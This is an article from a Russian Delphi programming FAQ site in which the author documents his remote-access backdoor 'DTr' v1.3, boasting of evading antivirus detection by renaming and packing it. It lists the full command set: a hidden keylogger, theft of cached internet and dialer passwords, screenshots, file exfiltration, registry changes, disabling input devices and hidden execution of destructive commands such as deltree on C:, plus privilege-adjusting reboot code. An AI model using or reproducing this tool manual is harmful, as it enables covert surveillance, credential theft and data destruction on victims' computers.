скрыть

скрыть

  Форум  

Delphi FAQ - Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |
| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |



Google  
 

BackDoor - удалённое администрирование 3



Автор: Danil

Чуваку надоело работать с Windows 95 и он выдернул шнур из розетки..... На экране надпись "А вы уверены?"

Как все наверное знают, DrWeb и AVP уже начали определять мою прогу "DTr" v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил брейкпоинты на SoftIce, а потом решил "проверить на вшивость". Изменил имя приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая: "я забыла сопротивляться". Эти "супер" антивиры отлавливают пока только имя приложения. Это значит что если генерить имя случайным образом, то по этому алгоритму работы они вообще его ловить не будут. А если обозвать приложение именем какого-нибудь стандарта? Например, "internat.exe"? Кстати имя приложения изменяется в 118 строке в значении константы "AppName" в исходниках (см. ниже).

В любом случае я решил форсировать процесс и выложить на свою страницу полные исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду - там столько используется моих и не моих компонентов и модулей, что это уже мало похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в следующих статьях я "освещу" клиент на "чистом" Delphi.

Исходники особым обилием комментариев не отличаются, но после внимательного прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно разобраться. Единственная сложность, какая может возникнуть, это закачка файлов, но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что особо разбираться и не нужно - изменить имя приложения можно и так. В этой статье я дам подробное описание команд, которые понимает сервер.

В сервере замечены баги на Win95, при перезагрузке компа и т.п. Об этом я также расскажу. Особой красотой алгоритмы не отличаются. Принцип был один: работает - и ладно, а оптимизация будет в следующей версии. Замечу, что пришлось переписывать функцию преобразования строка-число - под NT выдавала какой-то бред.

КОМАНДЫ "DTr" v.1.3:

Некоторые обозначения:

  • _#13_ - символ с кодом 13;
  • <параметр> - параметры команды (без <>).

Команды чуствительны к регистру - "helo" и "HeLo" не одно и то же.

  • Проверка связи. Команда "helo". Параметров нет. Должно выдать систему сервера, каталоги, имя юзера и т.д.
  • Файловый менеджер. Команда "ld <каталог>". Требует от сервера вернуть список файлов и директорий, находящихся в <каталог>. Сервер возвращает список из строк, разделенных символом #13. В начале списка стоит "[[[ListFile <каталог>_#13_" для указания клиенту, что это список файлов, и вывести его надо в окне файлового менеджера.
  • ПРИМЕР:


    "ld C:\WINDOWS\"
    

  • Список запущенных процессов на удаленном компьютере. Команда "lp". Параметров нет. Должно выдать список процессов в окне сообщений. Требует для своей работы дополнительную DLL (см. в клиенте).
  • Прервать процесс. Команда "dp <№ или ID процесса>". Прерывает процесс. № (для Win9x/ME) или ID (WinNT) - из списка процессов (смю выше). Требует дополнительную DLL.
  • ПРИМЕР:


    "dp 2"
    

  • Перегрузить удаленный комп. Команда "rbt". Работает только на Win9x/ME. Если есть желание, то можно дописать для NT. Для этого нужно запросить дополнительные права. На Delphi это выглядит примерно так :



  • procedure ReBoot;
    var
      hToken: THandle;
      tkp: TTokenPrivileges;
      RetLen: DWORD;
      PreviousState: TTokenPrivileges;
      Ver: TOsVersionInfo;
    begin
      try
        Ver.dwOSVersionInfoSize := SizeOf(Ver);
        GetVersionEx(Ver);
        if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then
        g>begin // если WinNT
          if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
            exit;
          if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
            exit;
          PreviousState := tkp;
          tkp.PrivilegeCount := 1;
          tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
          if not(AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(PreviousState), PreviousState, RetLen)) then
            exit;
        end;
        ExitWindows(EWX_REBOOT,0); // перезагрузить
      except
      end;
    end;
    

  • Выключить компьютер. Команда "sd". Работает только на Win9x/ME.
  • Запуск win-приложения. Команда "start <имя файла>_#13_<параметры>_#13_<вид>". Запускает приложение. Может запустить и связанный файл: например "*.doc". <вид> - способ запуска (число):
    • 0 : скрыто;
    • 1 : минимизировано;
    • 2 : нормально;
    • 3 : на весь экран.

    ПРИМЕР:


    "start C:\WINDOWS\1.doc_#13_#13_3"
    

  • Запуск DOS-приложения. Команда "startDOS <имя файла>_#13_<параметры>_#13_<вид>". Запускает приложение. <вид> - способ запуска (число).
  • ПРИМЕР:


    "startDOS C:\WINDOWS\COMMAND\deltree.exe_#13_/Y C:\_#13_0"
    

  • Проверка дополнительной DLL. Команда "dll DTrTestDLL_#13_<строка>". Проверяет доступность и инициализацию дополнительной DLL. Служит для проверки DLL при переименовании и переносе. Предполагается в следующих версиях этой командой запускать функции из дополнительной библиотеки ("dlll <команда>_#13_<параметры> "). Сервер должен вернуть <строка> или сообщение об ошибке. Само-собой на сервере необходима дополнительная DLL.
  • ПРИМЕР:


    "dll DTrTestDLL_#13_ddddd"
    

  • Образ экрана. Команда "scr <файл>". Сканирует экран и переносит в gif-файл. Требует для своей работы дополнительную DLL.
  • ПРИМЕР:


    "scr C:\scr.gif"
    

  • Высветить сообщение. "sm <вид> <заголовок>_#13_<текст сообщения>". Высветить сообщение. <вид> - иконка (число):
    • 0 : нету;
    • 1 : Stop;
    • 2 : !;
    • 3 : ?;
    • 4 : Info.

    ПРИМЕР:


    "sm 1 Error_#13_System FAILURE"
    

  • Минимизировать и закрыть активное приложение. Команды "mnwn" и "clwn" соответсвенно.
  • Выключить экран, мышь и клаву. Команды "clsc", "clms" и "clkl". ВНИМАНИЕ. Используются команды "rundll32.exe user,disableoemlayer", "rundll32.exe mouse,disable" и "rundll32.exe keyboard,disable". Обратные команды типа "rundll32.exe mouse,enable" не работают. Комп придется перегружать.
  • Убрать с экрана и показать панель задач. Команды "ht" и "st" соответственно.
  • Пробипать динамиком. Команда "bp <кол-во раз>".
  • ПРИМЕР:


    "bp 13"
    

  • Просмотр подключей выбранного ключа реестра. Команда "RegVKey <ключ>_#13_".:
    • 0 : HKCU;
    • 1 : HKLM;
    • 2 : HKU;
    • 3 : HKCC.

    ПРИМЕР:


    "RegVKey Software_#13_1" // Просмотр всех подключей в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Просмотр параметров выбранного ключа реестра. Команда "RegVPar <ключ>_#13_".
  • ПРИМЕР:


    "RegVPar Software_#13_1" // Просмотр всех параметров в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Создать подключ в выбранном ключе реестра. Команда "RegCKey <ключ>_#13_<подключ>_#13_".
  • ПРИМЕР:


    "RegCKey Software_#13_sss_#13_1" // Создать подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Создать/Изменить строковой параметр в выбранном ключе реестра. Команда "RegCPar <ключ>_#13_<параметр>_#13_<значение>_#13_".
  • ПРИМЕР:


    "RegCPar Software_#13_sss_#13_ddd_#13_1" // Создать/изменить параметр "sss" с значением "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Создать/Изменить числовой параметр в выбранном ключе реестра. Команда "RegCWPr <ключ>_#13_<параметр>_#13_<значение>_#13_".
  • ПРИМЕР:


    "RegCWPr Software_#13_sss_#13_666_#13_1" // Создать/изменить параметр "sss" с значением "666" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Удалить подключ в реестре. Команда "RegDKey <подключ>_#13_".
  • ПРИМЕР:


    "RegDKey Software\sss_#13_1" // Удалить подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Удалить параметр в ключе реестра. Команда "RegDPar <ключ>_#13_<параметр>_#13_".
  • ПРИМЕР:


    "RegDPar Software\sss_#13_ddd_#13_1" // Удалить параметр "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE\sss
    

    Для всех нижеследующих команд необходима дополнительная DLL.

  • Включить клавиатурный шпион. Команда "KeySpyON <файл>". Включить кл.шпион с записью в <файл>. Файл потом закачивается с помощью файлового менеджера. Файл имеет атрибут системный и для юзера в проводнике не виден.
  • Выключить клавиатурный шпион. Команда "KeySpyOFF".
  • Получить кешированные инет-пароли. Команда "CrckP". Сервер должен вывести все пароли, на свойствах соединения которых стоит "Сохранять пароли". Только для Win9x/ME.
  • Получить инет-пароли из EType Dialer. Команда "CrkED".
  • Получить список доступных по сети компьютеров. Команда "UserList".
  • Получить список зарегестрированных в WinNT-server пользователей на удаленном компьютере. Команда "ServList". Только для WinNT-server.
  • Команды файлового манеджера.

  • Показать список зарегистрированных в системе дисков - "ld". Возвращает список дисков со строкой "[[[ListDrvr " в начале.
  • Показать список файлов и каталогов в указанной директории - "ld <каталог>". В начале списка стоит "[[[ListFile <каталог>_#13_".
  • Создать каталог в текущей директории - "MakeDir <имя>".
  • ПРИМЕР:


    "MakeDir 111"
    

  • Переименовать/перенести, скопировать файл, каталог - "CopFile <родительский каталог>_#13_<имя файла, каталога>_#13_<куда>_#13_<вид>". <вид>:
    • 0 : копировать каталог со всем содержимым;
    • 1 : перенести/переименовать каталог;
    • 2: копировать файл;
    • 3 : перенести/переименовать файл.

    ПРИМЕР:


    "CopFile C:\WINDOWS\_#13_win.com_#13_C:\TEMP\1.tmp_#13_3"
    

  • Удалить файл, пустой каталог - "DelFile <имя>". Удаляет файл или пустой каталог. Если каталог, то на конце должно быть "\". <имя> - полный путь.
  • ПРИМЕР:


    "DelFile C:\WINDOWS\win.com" или "C:\WINDOWS\"
    

  • Показать атрибуты файла, каталога - "ShowAttr <имя>".
  • ПРИМЕР:


    "ShowAttr C:\WINDOWS\win.com"
    

  • Изменить атрибуты файла, каталога - "SetAttrb <имя>_#13_<атрибут>".
  • ПРИМЕР:


    "SetAttrb C:\WINDOWS\win.com_#13_0"
    

  • Получить файл с сервера - "LoadFile <полный путь к файлу на сервере>_#13_<размер буфера>". Файл передается по частям и <размер буфера> - размер передаваемого буфера для файла. На разных компах была замечена такая особенность: клиент и сервер получают не столько, сколько указано, а столько, сколько захотят (т.е. он может принять подряд 4800, 6800, 8600, и т.д.).Поэтому была сделана возможность установки размера буфера приема и отправки.
  • ПРИМЕР:


    "LoadFile C:\WINDOWS\win.com_#13_4000"
    

  • Отправить файл на сервер. Файл разбивается (в случае необходимости) на части. Размер частей зависит от буфера обмна. Вначале посылается команда "SaveFile <полный путь и имя файла на сервере>_#13_<размер>". Потом шлются команды "SconFile <размер>_#13_<часть файла>", где на сервер отправляется весь файл по частям. Сервер после получения и записи должен отвечать. Последняя часть файла идет так: "SendFile <часть файла>". Это говорит серверу что нужно записать и закрыть файл.

Функции дополнительной DLL ("nb003.dll"):

DTrTestDLL
Проверка дополнительной DLL. Входной параметр - указатель на строку, выходной параметр - указатель на строку вида: "Проверка DLL выполнена. Полученная строка - ...".
DTrLstProc
Список запущенных процессов. Входной параметр - число, определяющее систему сервера (0-Win9x/ME,1-WinNT). Выходной параметр - указатель на список строк, содержащий названия и номер всех запущенных приложений.
DTrDelProc
Прервать процесс по номеру или ID. Входные параметры - число, определяющее систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
DTrGetScr
Получение снимка экрана в файл. Входной параметр - указатель на строку с полным путем и именем gif-файла. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
DTrEDPass
Получить пароли EType Dialer. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
DTrCrkPass
Получить кешированные инет-пароли. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
DTrSrvLst
Получить список пользователей WinNT-server. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции.
DTrUsrLst
Получить список подключенных к серверу компов. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий имена всех компьютеров или сообщение о неудаче выполнения операции.
DTrKeyProc
Функция клавиатурного шпиона.

Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых сообщений, если предыдущая посланная строка была больше текущей, то выводится полученная строка и окончание предыдущей. Это все фиксится обнулением буфера отправки или отправкой только стольких байт, сколько есть в подготовленной строке. Т.е. или перед отправкой надо ставить:


mov ecx,6666
mov edi,offset BufStr0
lll_1: mov byte ptr [edi],0
inc edi
loop lll_1

Или, лучше, конструкцию:


invoke send,client,addr BufStr0,sizeof BufStr0,0

Надо переписать так:


invoke lstrlen, addr BufStr0
invoke send,client,addr BufStr0, eax,0 

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.






Copyright © 2004-2016 "Delphi Sources". Delphi World FAQ




Группа ВКонтакте   Ссылка на Twitter   Группа на Facebook